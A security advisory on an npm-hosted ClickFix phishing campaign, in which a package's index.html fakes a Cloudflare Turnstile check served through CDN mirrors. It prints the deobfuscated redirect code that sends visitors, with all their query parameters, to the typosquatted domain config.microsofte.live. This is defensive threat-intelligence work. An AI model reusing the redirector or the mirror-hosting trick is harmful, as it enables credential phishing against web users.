GCVE-110-OSM-2026-11092

This campaign abuses npm's public registry as a free, trusted-domain hosting platform for phishing pages. When a package is published to npm, CDN mirror services including unpkg.com, npmmirror.com, and yarn automatically make the raw package contents publicly accessible via URLs on their own trusted domains (e.g., unpkg[.]com/<package>@1.0.0/index.html). The threat actor exploited this to distribute a ClickFix phishing page: a fake Cloudflare "verify you are human" interstitial that uses social engineering to trick the visitor, then redirects them to a Microsoft credential-phishing page at a typosquatted Microsoft domain. The victim is a web user who reaches one of these mirror URLs — not a developer installing a dependency. The npm package itself is the delivery container, not the execution environment: the HTML file is not a Node module and the package has no install-time hooks. All query parameters from the original URL are forwarded during the redirect, potentially carrying victim identifiers, email addresses, or campaign-tracking tokens into the phishing stage. The package contains a single file, `index.html`, declared as `main` in `package.json`. The payload is activated only when a browser loads the file via an npm CDN mirror URL. `index.html` renders a fake Cloudflare Turnstile "Just a moment..." challenge page. The page loads Cloudflare's legitimate Turnstile API from `https://challenges.cloudflare.com/turnstile/v0/api.js` and renders a widget using site key `0x4AAAAAADrvn4rDM7WVvgPh`. The widget's success, error, expiration, timeout, and unsupported-browser callbacks are all assigned to the same `onTurnstileComplete` function — successful verification is not required to trigger the payload. The callback contains heavily obfuscated JavaScript with string-table encoding, self-defending checks, and console-interference logic. Its meaningful behavior deobfuscates to: ```js const targetUrl = new URL("https://config.microsofte.live/"); new URLSearchParams(window.location.search).forEach((value, key) => { targetUrl.searchParams.append(key, value); }); window.location.replace(targetUrl.toString()); ``` The Turnstile token is ignored and not submitted for server-side validation. The script copies every query parameter from the current page to the redirect destination. The page also generates a random 16-character hexadecimal value displayed as a fake Cloudflare Ray ID — cosmetic impersonation rather than a genuine Cloudflare-issued identifier. Turnstile is being abused to make the redirector appear legitimate and potentially delay or filter automated analysis before forwarding visitors to the malicious downstream domain. **Redirect target:** `config[.]microsofte[.]live`